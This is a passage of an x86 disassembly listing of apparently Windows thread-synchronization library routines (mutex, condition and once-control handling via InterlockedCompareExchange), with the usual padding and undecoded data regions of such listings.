shl ecx, 3
lea eax, [edx+eax*8]
mov edx, [esp+14h+var_8]
sub eax, ecx
and edx, 0FFFFh
sub eax, edx
jns short loc_43211C
pop edi
mov eax, 2
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_43218C: ; CODE XREF: sub_432100+2Aj
cmp eax, 102h
jnz short loc_43219E
pop edi
mov eax, 1
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_43219E: ; CODE XREF: sub_432100+Bj
; sub_432100+91j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
pop edi
or eax, 0FFFFFFFFh
pop esi
add esp, 0Ch
retn
sub_432100 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4321F0 proc near ; CODE XREF: sub_4010C3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
xor ebx, ebx
push esi
cmp eax, ebx
jz loc_432290
mov esi, [eax]
cmp esi, ebx
jz loc_432290
cmp esi, 0FFFFFFFFh
push edi
jz short loc_432285
mov eax, [esi+0Ch]
mov edi, 1
cmp eax, edi
jz short loc_43223A
call sub_4012E4
; ---------------------------------------------------------------------------
push eax
mov eax, [esi+0Ch]
push eax
call sub_401A64
add esp, 8
test eax, eax
jnz short loc_43223A
mov ebx, edi
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_43223A: ; CODE XREF: sub_4321F0+2Aj
; sub_4321F0+40j
cmp [esi+8], edi
jnz short loc_432248
mov eax, [esi+4]
dec eax
mov [esi+4], eax
jnz short loc_43228A
loc_432248: ; CODE XREF: sub_4321F0+4Dj
lea edi, [esi+14h]
mov [esi+0Ch], ebx
push edi
nop
call near ptr 7C901005h
push esi
nop
call near ptr 2770BE3h
test eax, eax
jl short loc_432278
add esi, 10h
push esi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_432278
call near ptr 77C1F2BCh
nop
mov ebx, [eax]
loc_432278: ; CODE XREF: sub_4321F0+6Ej
; sub_4321F0+7Ej
push edi
nop
call near ptr 7C9010EDh
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432285: ; CODE XREF: sub_4321F0+1Ej
mov ebx, 16h
loc_43228A: ; CODE XREF: sub_4321F0+56j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432290: ; CODE XREF: sub_4321F0+Aj
; sub_4321F0+14j
pop esi
mov eax, 16h
pop ebx
retn
sub_4321F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4322D0 proc near ; CODE XREF: sub_401785j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz short loc_432355
mov eax, [esi]
test eax, eax
jz short loc_432355
cmp eax, 0FFFFFFFFh
jnz short loc_4322F2
push esi
call sub_401C17
add esp, 4
mov edi, eax
loc_4322F2: ; CODE XREF: sub_4322D0+15j
mov esi, [esi]
test edi, edi
jnz short loc_432350
push 0FFFFFFFFh
push edi
push esi
call dword_5103D8 ; InterlockedCompareExchange
cmp eax, 0FFFFFFFFh
jnz short loc_432323
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_43231B
call sub_4012E4
; ---------------------------------------------------------------------------
loc_43231B: ; CODE XREF: sub_4322D0+44j
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432323: ; CODE XREF: sub_4322D0+35j
cmp dword ptr [esi+8], 1
jnz short loc_43234B
call sub_4012E4
; ---------------------------------------------------------------------------
push eax
mov eax, [esi+0Ch]
push eax
call sub_401A64
add esp, 8
test eax, eax
jz short loc_43234B
mov eax, [esi+4]
inc eax
mov [esi+4], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_43234B: ; CODE XREF: sub_4322D0+57j
; sub_4322D0+6Dj
mov edi, 10h
loc_432350: ; CODE XREF: sub_4322D0+26j
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432355: ; CODE XREF: sub_4322D0+Aj
; sub_4322D0+10j
pop edi
mov eax, 16h
pop esi
retn
sub_4322D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432390: ; CODE XREF: ___:0040193Dj
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_40119A
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4323C0: ; CODE XREF: ___:00401591j
mov eax, [esp+8]
mov ecx, [esp+4]
push eax
push ecx
call sub_4018CF
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4323F0: ; CODE XREF: ___:00401497j
mov eax, [esp+4]
test eax, eax
jz short loc_4323FC
mov eax, [eax+4]
retn
; ---------------------------------------------------------------------------
loc_4323FC: ; CODE XREF: ___:004323F6j
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432410: ; CODE XREF: ___:00401C12j
mov eax, [esp+4]
push esi
test eax, eax
push edi
jnz short loc_432422
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_432422: ; CODE XREF: ___:00432418j
mov esi, [eax]
test esi, esi
jnz short loc_432445
mov ecx, [eax+4]
test ecx, ecx
jnz short loc_432445
call sub_401D02
; ---------------------------------------------------------------------------
dd 0ADE89056h, 0E8023FF8h, 0FFFCF8C2h, 5EC0335Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_432445: ; CODE XREF: ___:00432426j
; ___:0043242Dj
mov ecx, [eax+4]
mov eax, 431BDE83h
add ecx, 0F423Fh
imul ecx
sar edx, 12h
mov eax, edx
shr eax, 1Fh
add edx, eax
lea eax, [esi+esi*4]
lea eax, [eax+eax*4]
lea ecx, [eax+eax*4]
lea edi, [edx+ecx*8]
call sub_4012E4
; ---------------------------------------------------------------------------
mov esi, eax
test esi, esi
jnz short loc_43247E
pop edi
mov eax, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
loc_43247E: ; CODE XREF: ___:00432474j
mov eax, [esi+30h]
push edi
test eax, eax
jnz short loc_4324E6
mov edx, [esi+38h]
push edx
nop
call near ptr 2770836h
test eax, eax
jnz short loc_4324D7
lea edi, [esi+2Ch]
push edi
call sub_402248
mov eax, [esi+0Ch]
add esp, 4
cmp eax, 3
jge short loc_4324C6
push edi
mov dword ptr [esi+0Ch], 3
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DED
; ---------------------------------------------------------------------------
add esp, 8
loc_4324C6: ; CODE XREF: ___:004324A6j
push edi
call sub_4010C3
add esp, 4
mov eax, 3
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4324D7: ; CODE XREF: ___:00432492j
cmp eax, 102h
jz short loc_4324EC
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_4324E6: ; CODE XREF: ___:00432484j
nop
call near ptr 2831CE8h
loc_4324EC: ; CODE XREF: ___:004324DCj
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432540: ; CODE XREF: ___:00401014j
push ecx
lea eax, [esp+0]
push eax
call sub_401C3A
add esp, 4
test eax, eax
mov eax, 1
jnz short loc_43255B
mov eax, [esp+0]
loc_43255B: ; CODE XREF: ___:00432555j
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432570 proc near ; CODE XREF: sub_401712j
push esi
call sub_401320
push offset aKernel32_dll ; "KERNEL32.DLL"
mov esi, eax
call near ptr 27E09C7h
nop
push offset aInterlockedcom ; "InterlockedCompareExchange"
push eax
mov dword_5103BC, eax
nop
call near ptr 28A0365h
test eax, eax
mov dword_5103D8, eax
jnz short loc_4325BD
mov eax, dword_5103BC
mov dword_5103D8, offset sub_4012D0
push eax
call near ptr 2750785h
nop
mov dword_5103BC, 0
loc_4325BD: ; CODE XREF: sub_432570+2Bj
mov eax, esi
pop esi
retn
sub_432570 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4325F0 proc near ; CODE XREF: sub_401627j
mov eax, dword_5103C0
test eax, eax
jz short loc_432640
mov eax, dword_5103C4
push eax
call sub_401190
; ---------------------------------------------------------------------------
dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah, 8BFFFCF1h
dd 5103C40Dh, 4C48300h, 6A118Bh, 5DE89052h, 0E80231DEh
dd 0FFFCF015h, 5103BCA1h, 74C08500h, 46E85007h, 900231E1h
; ---------------------------------------------------------------------------
loc_432640: ; CODE XREF: sub_4325F0+7j
mov eax, 1
retn
sub_4325F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432670 proc near ; CODE XREF: sub_4017BCj
mov eax, 1
retn
sub_432670 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432690 proc near ; CODE XREF: sub_4017CBj
mov eax, dword_5103C0
test eax, eax
jz short loc_4326CB
mov eax, dword_5103C4
push eax
call sub_401190
; ---------------------------------------------------------------------------
dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h
dd 5103C40Dh, 4C48300h, 6A118Bh, 0BDE89052h
db 0DDh, 31h, 2
; ---------------------------------------------------------------------------
loc_4326CB: ; CODE XREF: sub_432690+7j
mov eax, 1
retn
sub_432690 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432700: ; CODE XREF: ___:0040225Cj
push ecx
push esi
push offset dword_5109A0
xor esi, esi
call near ptr 7C901005h
nop
mov eax, dword_5103CC
test eax, eax
mov [esp+4], eax
jz short loc_43273E
loc_43271C: ; CODE XREF: ___:0043273Cj
test esi, esi
jnz short loc_43273E
lea eax, [esp+4]
push eax
call sub_40160E
mov ecx, [esp+8]
mov esi, eax
add esp, 4
mov eax, [ecx+18h]
test eax, eax
mov [esp+4], eax
jnz short loc_43271C
loc_43273E: ; CODE XREF: ___:0043271Aj
; ___:0043271Ej
push offset dword_5109A0
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
neg eax
sbb eax, eax
and eax, 0Bh
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432780 proc near ; CODE XREF: sub_4012B7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_432799
mov eax, [eax]
test eax, eax
jz short loc_432799
cmp dword ptr [eax], 0C4C0FFEEh
jnz short loc_432799
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_432799: ; CODE XREF: sub_432780+6j
; sub_432780+Cj ...
mov eax, 1
retn
sub_432780 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4327B0 proc near ; CODE XREF: sub_401320j
mov eax, dword_5103C0
test eax, eax
jz short loc_4327BF
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_4327BF: ; CODE XREF: sub_4327B0+7j
push 0
push offset dword_5103C4
mov dword_5103C0, 1
call sub_401609
add esp, 8
test eax, eax
jnz short loc_4327EE
push eax
push offset dword_5103C8
call sub_401609
add esp, 8
test eax, eax
jz short loc_4327F3
loc_4327EE: ; CODE XREF: sub_4327B0+2Aj
call sub_401645
loc_4327F3: ; CODE XREF: sub_4327B0+3Cj
push esi
mov esi, dword_511868
push offset dword_5108E0
call esi
push offset dword_510940
call esi
push offset dword_5109A0
call esi
push offset dword_510920
call esi
push offset dword_510980
call esi
push offset dword_510960
call esi
mov eax, dword_5103C0
pop esi
retn
sub_4327B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432850 proc near ; CODE XREF: sub_401645j
mov eax, dword_5103C0
test eax, eax
jz locret_432909
mov eax, dword_5103C4
test eax, eax
jz short loc_432879
push eax
call sub_401AB4
add esp, 4
mov dword_5103C4, 0
loc_432879: ; CODE XREF: sub_432850+14j
mov eax, dword_5103C8
test eax, eax
jz short loc_432895
push eax
call sub_401AB4
add esp, 4
mov dword_5103C8, 0
loc_432895: ; CODE XREF: sub_432850+30j
push esi
push offset dword_5108E0
nop
call near ptr 7C901005h
mov eax, dword_447718
cmp eax, 1
jz short loc_4328C3
push edi
mov edi, dword_511AD0
loc_4328B2: ; CODE XREF: sub_432850+70j
mov esi, [eax+8]
push eax
call edi
add esp, 4
cmp esi, 1
mov eax, esi
jnz short loc_4328B2
pop edi
loc_4328C3: ; CODE XREF: sub_432850+59j
push offset dword_5108E0
call near ptr 7C9010EDh
nop
mov esi, dword_511864
push offset dword_510960
call esi
push offset dword_510980
call esi
push offset dword_510920
call esi
push offset dword_5109A0
call esi
push offset dword_510940
call esi
push offset dword_5108E0
call esi
mov dword_5103C0, 0
pop esi
locret_432909: ; CODE XREF: sub_432850+7j
retn
sub_432850 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432940: ; CODE XREF: ___:loc_401BA9j
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+8]
push esi
push edi
push eax
mov esi, [eax]
mov ecx, [eax+4]
mov edx, [eax+8]
mov [ebp-4], esi
mov [ebp-0Ch], ecx
mov [ebp-8], edx
call near ptr 77C2C21Bh
nop
mov eax, dword_5103C4
push esi
push eax
call sub_4020F9
; ---------------------------------------------------------------------------
mov dword ptr [esi+0Ch], 1
add esi, 3Ch
push 0
push esi
call sub_437D4C
; ---------------------------------------------------------------------------
mov edi, [ebp-4]
add esp, 14h
test eax, eax
jnz short loc_43299C
mov ecx, [ebp-8]
push ecx
call dword ptr [ebp-0Ch]
add esp, 4
mov [edi+14h], eax
mov esi, eax
jmp short loc_4329A8
; ---------------------------------------------------------------------------
loc_43299C: ; CODE XREF: ___:00432989j
dec eax
jz short loc_4329A5
dec eax
or esi, 0FFFFFFFFh
jmp short loc_4329A8
; ---------------------------------------------------------------------------
loc_4329A5: ; CODE XREF: ___:0043299Dj
mov esi, [edi+14h]
loc_4329A8: ; CODE XREF: ___:0043299Aj
; ___:004329A3j
cmp dword ptr [edi+20h], 1
jnz short loc_4329C7
call sub_4017CB
push esi
call near ptr 77C3A307h
nop
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_4329C7: ; CODE XREF: ___:004329ACj
push edi
call sub_40131B
add esp, 4
push esi
nop
call near ptr 77C3A307h
add esp, 4
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432A20 proc near ; CODE XREF: sub_4017B7j
var_84 = byte ptr -84h
var_80 = dword ptr -80h
var_58 = byte ptr -58h
var_4C = dword ptr -4Ch
var_8 = byte ptr -8
arg_0 = dword ptr 4
sub esp, 84h
push ebx
mov ebx, [esp+88h+arg_0]
test ebx, ebx
push esi
jz short loc_432A9A
lea esi, [ebx+2Ch]
push edi
push esi
call sub_402248
push esi
mov dword ptr [ebx+0Ch], 5
call sub_4010C3
push ebx
call sub_40131B
mov ecx, 21h
mov esi, ebx
lea edi, [esp+9Ch+var_84]
push ebx
rep movsd
call sub_401BD1
mov eax, [esp+0A0h+var_4C]
mov esi, dword_5118E0
add esp, 10h
test eax, eax
pop edi
jz short loc_432A78
push eax
call esi
loc_432A78: ; CODE XREF: sub_432A20+53j
lea eax, [esp+8Ch+var_58]
push eax
call sub_402252
mov eax, [esp+90h+var_80]
add esp, 4
test eax, eax
jz short loc_432A9A
test [esp+8Ch+var_8], 1
jnz short loc_432A9A
push eax
call esi
loc_432A9A: ; CODE XREF: sub_432A20+11j
; sub_432A20+6Bj ...
pop esi
pop ebx
add esp, 84h
retn
sub_432A20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432AE0 proc near ; CODE XREF: sub_401DDEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
push edi
push 14h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_432B01
pop edi
pop esi
pop ebp
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432B01: ; CODE XREF: sub_432AE0+15j
mov edi, [esp+10h+arg_8]
mov ebp, [esp+10h+arg_4]
mov dword ptr [esi], 0FFFFFFFFh
mov [esi+4], ebp
lea ebx, [edi+8]
mov [esi+8], edi
push ebx
call sub_402248
add esp, 4
mov [esp+10h+arg_4], eax
test eax, eax
jz short loc_432B42
push esi
call sub_402252
push esi
nop
call near ptr 77C2C21Bh
mov eax, [esp+18h+arg_4]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_432B42: ; CODE XREF: sub_432AE0+47j
mov eax, [edi+0Ch]
push ebx
mov [esi+10h], eax
mov [edi+0Ch], esi
call sub_4010C3
add esp, 4
test ebp, ebp
jz short loc_432B67
mov ecx, [ebp+80h]
mov [esi+0Ch], ecx
mov [ebp+80h], esi
loc_432B67: ; CODE XREF: sub_432AE0+76j
mov edx, [esp+10h+arg_0]
pop edi
xor eax, eax
mov [edx], esi
pop esi
pop ebp
pop ebx
retn
sub_432AE0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432BB0 proc near ; CODE XREF: sub_40105Fj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_432BD7
mov eax, [esi+8]
test eax, eax
jnz short loc_432BD7
mov eax, [esi+4]
test eax, eax
jnz short loc_432BD7
push esi
call sub_402252
push esi
call near ptr 77C2C21Bh
nop
add esp, 8
loc_432BD7: ; CODE XREF: sub_432BB0+7j
; sub_432BB0+Ej ...
pop esi
retn
sub_432BB0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432BF0 proc near ; CODE XREF: sub_40131Bj
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
test ebx, ebx
push esi
jz short loc_432C5D
mov esi, [ebx+80h]
test esi, esi
jz short loc_432C5D
push edi
loc_432C05: ; CODE XREF: sub_432BF0+6Aj
push esi
call sub_402248
add esp, 4
test eax, eax
jnz short loc_432C58
mov edi, [esi+8]
test edi, edi
jz short loc_432C33
push edi
call sub_401190
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_432C33
mov edi, [edi+4]
test edi, edi
jz short loc_432C33
push eax
loc_432C2E: ; CODE XREF: ___:00432CA7j
call edi
add esp, 4
loc_432C33: ; CODE XREF: sub_432BF0+27j
; sub_432BF0+34j ...
mov eax, [esi+0Ch]
mov dword ptr [esi+4], 0
push esi
mov [ebx+80h], eax
call sub_4010C3
push esi
call sub_40105F
mov esi, [ebx+80h]
add esp, 8
loc_432C58: ; CODE XREF: sub_432BF0+20j
test esi, esi
jnz short loc_432C05
pop edi
loc_432C5D: ; CODE XREF: sub_432BF0+8j
; sub_432BF0+12j
pop esi
pop ebx
retn
sub_432BF0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_432C80 proc near ; CODE XREF: sub_401DEDj
mov eax, dword_5103C4
push ebx
push edi
push eax
call sub_401190
sub_432C80 endp
; ---------------------------------------------------------------------------
db 8Bh, 5Ch, 24h
; ---------------------------------------------------------------------------
adc [ebx-47CFB3Ch], al
add cl, [ebx-7CF28B08h]
sti
add [eax+ecx+6Ah], esi
add [eax-7F8E2918h], edx
ja short loc_432C2E
push dword ptr [esi+eax-0Ah]
inc edi
jl short near ptr loc_432CB0+1
loc_432CB0: ; CODE XREF: ___:00432CAEj
jz short loc_432CD5
push esi
mov eax, ebx
xor esi, esi
dec eax
jz short loc_432CC2
dec eax
jnz short loc_432CC5
or esi, 0FFFFFFFFh
jmp short loc_432CC5
; ---------------------------------------------------------------------------
loc_432CC2: ; CODE XREF: ___:00432CB8j
mov esi, [edi+14h]
loc_432CC5: ; CODE XREF: ___:00432CBBj
; ___:00432CC0j
call sub_4017CB
push esi
call near ptr 77C3A307h
nop
add esp, 4
pop esi
loc_432CD5: ; CODE XREF: ___:loc_432CB0j
push 1
call sub_401B22
; ---------------------------------------------------------------------------
dd 8304C483h, 57533CC7h, 408AE890h, 90907780h, 90909090h
dd 8 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_432D10 proc near ; CODE XREF: sub_401B22j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call sub_401122
sub_432D10 endp
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jz short loc_432D2F
loc_432D22: ; CODE XREF: ___:00432D2Dj
push esi
call sub_401122
; ---------------------------------------------------------------------------
add esp, 4
test eax, eax
jnz short loc_432D22
loc_432D2F: ; CODE XREF: ___:00432D20j
pop esi
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_432D50: ; CODE XREF: ___:00401DF7j
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_432D70 proc near ; CODE XREF: sub_4012D0j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push edx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_8]
lock cmpxchg [ecx], edx
mov [ebp+var_4], eax
pop edx
pop ecx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 0Ch
sub_432D70 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432DB0 proc near ; CODE XREF: sub_401C3Aj
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 8
lea eax, [esp+8+var_4]
lea ecx, [esp+8+var_8]
push esi
push eax
push ecx
xor esi, esi
nop
call near ptr 279033Ch
push eax
nop
call near ptr 2750000h
test eax, eax
jz short loc_432DF2
mov edx, [esp+0Ch+var_8]
xor ecx, ecx
mov eax, 1
loc_432DDC: ; CODE XREF: sub_432DB0+33j
test eax, edx
jz short loc_432DE1
inc ecx
loc_432DE1: ; CODE XREF: sub_432DB0+2Ej
shl eax, 1
jnz short loc_432DDC
mov edx, [esp+0Ch+arg_0]
mov eax, esi
pop esi
mov [edx], ecx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_432DF2: ; CODE XREF: sub_432DB0+1Fj
mov eax, 0Bh
pop esi
add esp, 8
retn
sub_432DB0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432E20 proc near ; CODE XREF: sub_40185Cj
arg_0 = dword ptr 4
push esi
push offset dword_510980
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_432E54
push esi
push ecx
call sub_401F91
add esp, 8
mov esi, eax
push offset dword_510980
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_432E54: ; CODE XREF: sub_432E20+17j
test eax, eax
jnz short loc_432E5D
mov esi, 16h
loc_432E5D: ; CODE XREF: sub_432E20+36j
push offset dword_510980
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_432E20 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432E90 proc near ; CODE XREF: sub_401861j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+14h]
lea ecx, [esi+4]
neg eax
push ecx
mov [esi+0Ch], eax
mov dword ptr [esi+14h], 0
call sub_4010C3
push esi
call sub_4010C3
add esp, 8
pop esi
retn
sub_432E90 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_432ED0 proc near ; CODE XREF: sub_401F91j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
xor esi, esi
test eax, eax
jnz short loc_432EE2
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_432EE2: ; CODE XREF: sub_432ED0+9j
mov eax, [esp+4+arg_4]
push ebx
test eax, eax
push edi
jz short loc_432F02
cmp dword ptr [eax], 0
jz short loc_432F02
mov ecx, [esp+0Ch+arg_0]
mov edi, 16h
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_432F02: ; CODE XREF: sub_432ED0+1Aj
; sub_432ED0+1Fj
push 1Ch
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_432F26
mov ecx, [esp+0Ch+arg_0]
mov edi, 0Ch
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_432F26: ; CODE XREF: sub_432ED0+43j
push 0
push esi
mov dword ptr [esi+0Ch], 0
mov dword ptr [esi+10h], 0
mov dword ptr [esi+14h], 0
call sub_4021BC
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_432F84
lea ebx, [esi+4]
push eax
push ebx
call sub_4021BC
mov edi, eax
add esp, 8
test edi, edi
jnz short loc_432F7B
push eax
lea eax, [esi+8]
push eax
call sub_40154B
mov edi, eax
add esp, 8
test edi, edi
jz short loc_432F9C
push ebx
call sub_402252
add esp, 4
loc_432F7B: ; CODE XREF: sub_432ED0+8Dj
push esi
call sub_402252
add esp, 4
loc_432F84: ; CODE XREF: sub_432ED0+7Aj
push esi
call near ptr 77C2C21Bh
nop
mov ecx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, edi
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_432F9C: ; CODE XREF: sub_432ED0+A0j
mov ecx, [esp+0Ch+arg_0]
xor edi, edi
mov eax, edi
mov dword ptr [esi+18h], 0FACADE2h
pop edi
mov [ecx], esi
pop ebx
pop esi
retn
sub_432ED0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_433000: ; CODE XREF: ___:004018BBj
mov eax, [esp+4]
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor edi, edi
xor ebp, ebp
test eax, eax
jz loc_43313B
mov esi, [eax]
test esi, esi
jz loc_43313B
cmp esi, 0FFFFFFFFh
jz loc_4330F7
cmp dword ptr [esi+18h], 0FACADE2h
jnz loc_43313B
push esi
call sub_402248
add esp, 4
test eax, eax
jnz loc_433140
lea edi, [esi+4]
push edi
call sub_402248
mov ebx, eax
add esp, 4
test ebx, ebx
jz short loc_433069
push esi
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_433069: ; CODE XREF: ___:00433057j
mov eax, [esi+10h]
test eax, eax
jg short loc_4330DD
mov eax, [esi+0Ch]
mov ecx, [esi+14h]
cmp eax, ecx
jg short loc_4330DD
push edi
mov dword ptr [esi+18h], 0
call sub_4010C3
add esp, 4
mov ebx, eax
test ebx, ebx
push esi
jz short loc_4330A0
call sub_4010C3
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4330A0: ; CODE XREF: ___:0043308Fj
call sub_4010C3
add esp, 4
test eax, eax
jnz loc_433140
mov ecx, [esp+14h]
lea edx, [esi+8]
push edx
mov [ecx], eax
call sub_401AA5
push edi
mov ebx, eax
call sub_402252
push esi
mov edi, eax
call sub_402252
push esi
mov ebp, eax
call near ptr 77C2C21Bh
nop
add esp, 10h
jmp short loc_433123
; ---------------------------------------------------------------------------
loc_4330DD: ; CODE XREF: ___:0043306Ej
; ___:00433078j
push edi
call sub_4010C3
push esi
mov ebx, eax
call sub_4010C3
add esp, 8
mov edi, eax
mov ebp, 10h
jmp short loc_433123
; ---------------------------------------------------------------------------
loc_4330F7: ; CODE XREF: ___:00433023j
push offset dword_510980
nop
call near ptr 7C901005h
mov eax, [esp+14h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_433113
mov dword ptr [eax], 0
jmp short loc_433118
; ---------------------------------------------------------------------------
loc_433113: ; CODE XREF: ___:00433109j
mov ebx, 10h
loc_433118: ; CODE XREF: ___:00433111j
